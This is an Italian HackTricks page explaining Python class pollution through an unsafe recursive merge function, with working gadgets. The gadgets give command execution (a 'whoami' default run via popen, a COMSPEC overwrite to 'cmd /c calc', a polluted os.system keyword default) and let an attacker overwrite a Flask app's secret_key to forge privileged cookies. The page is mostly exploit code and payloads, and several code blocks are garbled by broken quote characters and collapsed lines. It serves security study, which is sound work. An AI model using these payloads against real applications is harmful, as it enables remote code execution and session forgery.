Inquinamento delle Classi (Inquinamento del Prototype di Python)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Esempio di Base
Controlla come è possibile inquinare le classi di oggetti con stringhe:
class Company: pass
class Developer(Company): pass
class Entity(Developer): pass
c = Company()
d = Developer()
e = Entity()
print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>
e.__class__.__qualname__ = 'Polluted_Entity'
print(e) #<__main__.Polluted_Entity object at 0x1041d2730>
e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
Esempio di VulnerabilitĂ di Base
# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}
# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}
merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
Esempi di Gadget
Creazione del valore predefinito della proprietĂ della classe per RCE (subprocess)
```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR classclass SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, âcustom_commandâ) else âecho Hello thereâ return fâ[!] Executing: â{command}â, output: â{popen(command).read().strip()}ââ
def merge(src, dst):
Recursive merge function
for k, v in src.items(): if hasattr(dst, âgetitemâ): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
USER_INPUT = { âclassâ:{ âbaseâ:{ âbaseâ:{ âcustom_commandâ: âwhoamiâ } } } }
recruiter_emp = Recruiter() system_admin_emp = SystemAdmin()
print(system_admin_emp.execute_command()) #> [!] Executing: âecho Hello thereâ, output: âHello thereâ
Create default value for Employee.custom_command
merge(USER_INPUT, recruiter_emp)
print(system_admin_emp.execute_command()) #> [!] Executing: âwhoamiâ, output: âabdulrah33mâ
</details>
<details>
<summary>Inquinare altre classi e variabili globali tramite <code>globals</code></summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
Esecuzione arbitraria di subprocessi
```python import subprocess, jsonclass Employee: def init(self): pass
def merge(src, dst):
Recursive merge function
for k, v in src.items(): if hasattr(dst, âgetitemâ): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
Overwrite env var âCOMSPECâ to execute a calc
USER_INPUT = json.loads(â{âinitâ:{âglobalsâ:{âsubprocessâ:{âosâ:{âenvironâ:{âCOMSPECâ:âcmd /c calcâ}}}}}}â) # attacker-controlled value
merge(USER_INPUT, Employee())
subprocess.Popen(âwhoamiâ, shell=True) # Calc.exe will pop up
</details>
<details>
<summary>Sovrascrittura di <strong><code>__kwdefaults__</code></strong></summary>
**`__kwdefaults__`** è un attributo speciale di tutte le funzioni, basato sulla [documentazione](https://docs.python.org/3/library/inspect.html) di Python, è una âmappatura di eventuali valori predefiniti per i parametri **solo parola chiave**â. Inquinare questo attributo ci consente di controllare i valori predefiniti dei parametri solo parola chiave di una funzione, questi sono i parametri della funzione che vengono dopo \* o \*args.
```python
from os import system
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)
print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
Sovrascrittura del segreto di Flask tra i file
Quindi, se puoi fare una class pollution su un oggetto definito nel file python principale del web ma la cui classe è definita in un file diverso da quello principale. PerchĂŠ per accedere a __globals__ nei payload precedenti devi accedere alla classe dellâoggetto o ai metodi della classe, sarai in grado di accedere ai globals in quel file, ma non in quello principale.
Pertanto, non sarai in grado di accedere allâoggetto globale dellâapp Flask che ha definito la chiave segreta nella pagina principale:
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
In questo scenario hai bisogno di un gadget per attraversare i file per arrivare a quello principale per accedere allâoggetto globale app.secret_key per cambiare la chiave segreta di Flask e poter escalare i privilegi conoscendo questa chiave.
Un payload come questo da questo writeup:
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
Usa questo payload per cambiare app.secret_key (il nome nella tua app potrebbe essere diverso) per poter firmare nuovi e piĂš privilegiati cookie flask.
Controlla anche la seguente pagina per ulteriori gadget in sola lettura:
Riferimenti
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

